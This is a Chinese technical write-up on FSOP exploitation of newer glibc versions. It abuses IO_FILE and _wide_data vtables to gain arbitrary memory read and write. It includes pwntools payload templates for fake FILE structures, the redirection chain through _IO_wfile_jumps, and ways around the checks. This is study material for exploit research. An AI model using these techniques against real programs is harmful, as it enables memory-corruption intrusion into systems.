关于高版本glibc通过IO_FILE的任意地址读写
字数 1235 2025-11-19 12:12:33
高版本glibc通过IO_FILE的任意地址读写技术分析
一、IO_FILE结构概述
1.1 核心结构体定义
_IO_FILE_plus结构体
struct _IO_FILE_plus {
FILE file;
const struct _IO_jump_t *vtable;
};
_IO_FILE结构体
struct _IO_FILE {
int _flags; /* 高16位为_IO_MAGIC;其余为标志位 */
/* 以下指针与C++的streambuf协议对应 */
char *_IO_read_ptr; /* 当前读取指针 */
char *_IO_read_end; /* 获取区结束位置 */
char *_IO_read_base; /* 回退+获取区起始位置 */
char *_IO_write_base; /* 写入区起始位置 */
char *_IO_write_ptr; /* 当前写入指针 */
char *_IO_write_end; /* 写入区结束位置 */
char *_IO_buf_base; /* 缓冲区起始位置 */
char *_IO_buf_end; /* 缓冲区结束位置 */
/* 以下字段用于支持"回退"与"撤销"操作 */
char *_IO_save_base; /* 非当前获取区起始指针 */
char *_IO_backup_base; /* 备份区中第一个有效字符的指针 */
char *_IO_save_end; /* 非当前获取区结束指针 */
struct _IO_marker *_markers; /* 标记链表 */
struct _IO_FILE *_chain; /* 文件链表指针 */
int _fileno; /* 文件描述符 */
int _flags2; /* 扩展标志 */
__off_t _old_offset; /* 原_offset字段 */
unsigned short _cur_column; /* 列号 */
signed char _vtable_offset; /* 虚表偏移 */
char _shortbuf[1]; /* 短缓冲 */
_IO_lock_t *_lock; /* 线程锁 */
/* 扩展字段 */
__off64_t _offset; /* 64位文件偏移 */
struct _IO_codecvt *_codecvt; /* 编码转换表 */
struct _IO_wide_data *_wide_data; /* 宽字符缓冲区 */
struct _IO_FILE *_freeres_list; /* 空闲链表 */
void *_freeres_buf; /* 空闲缓冲 */
size_t __pad5; /* 对齐填充 */
int _mode; /* 宽/字节模式 */
char _unused2[15 * sizeof(int) - 4 * sizeof(void *) - sizeof(size_t)];
};
_IO_jump_t虚表结构
struct _IO_jump_t {
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
};
_IO_wide_data宽字符数据结构
struct _IO_wide_data {
wchar_t *_IO_read_ptr; /* 当前读取指针 */
wchar_t *_IO_read_end; /* 获取区域结束位置 */
wchar_t *_IO_read_base; /* 回退+获取区域起始位置 */
wchar_t *_IO_write_base; /* 写入区域起始位置 */
wchar_t *_IO_write_ptr; /* 当前写入指针 */
wchar_t *_IO_write_end; /* 写入区域结束位置 */
wchar_t *_IO_buf_base; /* 缓冲区起始位置 */
wchar_t *_IO_buf_end; /* 缓冲区结束位置 */
wchar_t *_IO_save_base; /* 非当前获取区域起始指针 */
wchar_t *_IO_backup_base; /* 备份区域指针 */
wchar_t *_IO_save_end; /* 非当前获取区域结束指针 */
__mbstate_t _IO_state; /* 当前多字节转换状态 */
__mbstate_t _IO_last_state; /* 上次多字节转换状态 */
struct _IO_codecvt _codecvt; /* 编码转换相关数据 */
wchar_t _shortbuf[1]; /* 短缓冲区 */
const struct _IO_jump_t *_wide_vtable; /* 宽字符虚表指针 */
};
1.2 标准IO_FILE实例分析
stdin结构示例
_IO_2_1_stdin_ = {
file = {
_flags = -72540021,
_IO_read_ptr = 0x75b77e603963 <_IO_2_1_stdin_+131> "",
_IO_read_end = 0x75b77e603963 <_IO_2_1_stdin_+131> "",
_IO_read_base = 0x75b77e603963 <_IO_2_1_stdin_+131> "",
_IO_write_base = 0x75b77e603963 <_IO_2_1_stdin_+131> "",
_IO_write_ptr = 0x75b77e603963 <_IO_2_1_stdin_+131> "",
_IO_write_end = 0x75b77e603963 <_IO_2_1_stdin_+131> "",
_IO_buf_base = 0x75b77e603963 <_IO_2_1_stdin_+131> "",
_IO_buf_end = 0x75b77e603964 <_IO_2_1_stdin_+132> "",
...
_lock = 0x75b77e605720 <_IO_stdfile_0_lock>,
_wide_data = 0x75b77e6039c0 <_IO_wide_data_0>,
},
vtable = 0x75b77e602030 <_IO_file_jumps>
}
stdout结构示例
_IO_2_1_stdout_ = {
file = {
_flags = -72537977,
_IO_read_ptr = 0x75b77e604643 <_IO_2_1_stdout_+131> "\n",
...
_chain = 0x75b77e6038e0 <_IO_2_1_stdin_>,
_fileno = 1,
_lock = 0x75b77e605710 <_IO_stdfile_1_lock>,
_wide_data = 0x75b77e6037e0 <_IO_wide_data_1>,
},
vtable = 0x75b77e602030 <_IO_file_jumps>
}
二、基础利用技术
2.1 字节覆盖技术
原理分析
- 通过覆盖stdin的
_IO_buf_base最低字节为\x00,使其指向自身的_IO_write_base区域 - 当大量数据写入时,可以覆盖从该位置到
_IO_buf_end的内存区域 - 通过修改
_IO_buf_base和_IO_buf_end实现二次任意地址写 - 需要fgets等函数触发stdin刷新机制
三、任意地址读技术
3.1 利用方法
fif_leak_stack = flat({
0x00: 0x800 | 0x1000, # _flags
0x20: _IO_write_base, # 要泄露区域的起始地址
0x28: _IO_write_ptr, # 要泄露区域的结束地址
0x68: _chain, # _chain
0x70: _fileno, # _fileno
0x88: _lock, # _lock
0xd8: vtable, # vtable
}, filler = b"\x00")
3.2 原理分析
正常_IO_flush_all执行时:
- 遍历
_IO_list_all链表中的每个IO_FILE - 调用vtable中的
overflow函数 - 在
_IO_new_file_overflow函数中调用_IO_do_write - 将未输出完的数据输出到指定位置
四、任意地址写技术
4.1 伪造IO_FILE结构
fake_io_to_read = flat({
0x00: 0, # _flags
0x38: _IO_buf_base, # _IO_buf_base
0x40: _IO_buf_end, # _IO_buf_end
0x68: _chain, # _chain (FSOP关键)
0x70: 0, # _fileno (标准输入)
0x88: _lock, # _lock (不可为0)
0xa0: _wide_data, # _wide_data地址
0xc0: 2, # _mode (绕过检查)
0xd8: vtable, # vtable
}, filler = b"\x00")
fake_wide_data = flat({
0x18: 0, # _IO_write_base
0x20: 0xff, # _IO_write_ptr
0xe0: _wide_vtable, # 填_IO_file_jumps - 0x48
}, filler = b"\x00")
4.2 核心调用链分析
4.2.1 调用入口:_IO_flush_all
int _IO_flush_all(void) {
for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain) {
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
) && _IO_OVERFLOW (fp, EOF) == EOF) {
result = EOF;
}
}
return result;
}
4.2.2 宏展开过程
// 宏调用链
_IO_OVERFLOW(FP, CH)
↓
JUMP1(__overflow, FP, CH)
↓
(_IO_JUMPS_FUNC(THIS)->FUNC)(THIS, X1)
↓
// 无offset情况
_IO_JUMPS_FUNC(THIS) = (IO_validate_vtable(_IO_JUMPS_FILE_plus(THIS)))
↓
_IO_JUMPS_FILE_plus(THIS) = _IO_CAST_FIELD_ACCESS((THIS), struct _IO_FILE_plus, vtable)
↓
fp->vtable->__overflow(fp, EOF)
4.2.3 虚表函数定位
正常文件跳转表
[IO_FILE_JUMPS] = {
JUMP_INIT(overflow, _IO_file_overflow),
// 其他函数...
}
[IO_WFILE_JUMPS] = {
JUMP_INIT(overflow, (_IO_overflow_t)_IO_wfile_overflow),
// 其他函数...
}
4.2.4 关键函数:_IO_wfile_overflow
wint_t _IO_wfile_overflow(FILE *f, wint_t wch) {
if (f->_wide_data->_IO_write_base == 0) {
_IO_wdoallocbuf(f); // 关键调用点
// ...
}
// ...
}
4.2.5 内存分配函数:_IO_wdoallocbuf
void _IO_wdoallocbuf(FILE *fp) {
if (fp->_wide_data->_IO_buf_base) return;
if (!(fp->_flags & _IO_UNBUFFERED))
if ((wint_t)_IO_WDOALLOCATE(fp) != WEOF) return;
_IO_wsetb(fp, fp->_wide_data->_shortbuf,
fp->_wide_data->_shortbuf + 1, 0);
}
4.2.6 宽字符虚表调用
#define _IO_WDOALLOCATE(FP) WJUMP0(__doallocate, FP)
#define _IO_WIDE_JUMPS(THIS) \
_IO_CAST_FIELD_ACCESS((THIS), struct _IO_FILE, _wide_data)->_wide_vtable
4.3 技术关键点
- 虚表替换:将
fp->vtable改为_IO_wfile_jumps地址 - 宽虚表控制:将
fp->_wide_data->_wide_vtable设为_IO_file_jumps - 0x48 - 函数重定向:使
_IO_WDOALLOCATE调用_IO_new_file_underflow而非原本函数 - 条件绕过:利用宽字符相关条件绕过第一个检查条件
4.4 完整攻击调用链
_IO_flush_all
↓
_IO_OVERFLOW (由于修改vtable指向_IO_wfile_jumps)
↓
_IO_wfile_overflow
↓
_IO_wdoallocbuf
↓
_IO_WDOALLOCATE (由于修改_wide_vtable指向_IO_file_jumps-0x48)
↓
_IO_new_file_underflow (实际执行)
↓
_IO_SYSREAD (实现任意地址读写)
五、技术要点总结
5.1 必要条件
- 能够控制IO_FILE结构内容
- 能够触发
_IO_flush_all调用(如程序退出时) - 了解目标系统的glibc版本和内存布局
5.2 关键偏移量
__doallocate在虚表中的偏移:0x68_IO_file_jumps与_IO_wfile_jumps的相对位置- 各个结构体字段的精确偏移
5.3 防御绕过技巧
- 使用
_wide_data相关条件绕过常规检查 - 合理设置
_mode字段绕过模式检查 - 确保
_lock指针有效避免崩溃
该技术通过精心构造IO_FILE结构,利用glibc中文件操作的虚表机制,实现了在高版本glibc下的任意地址读写能力,是FSOP攻击技术的重要发展。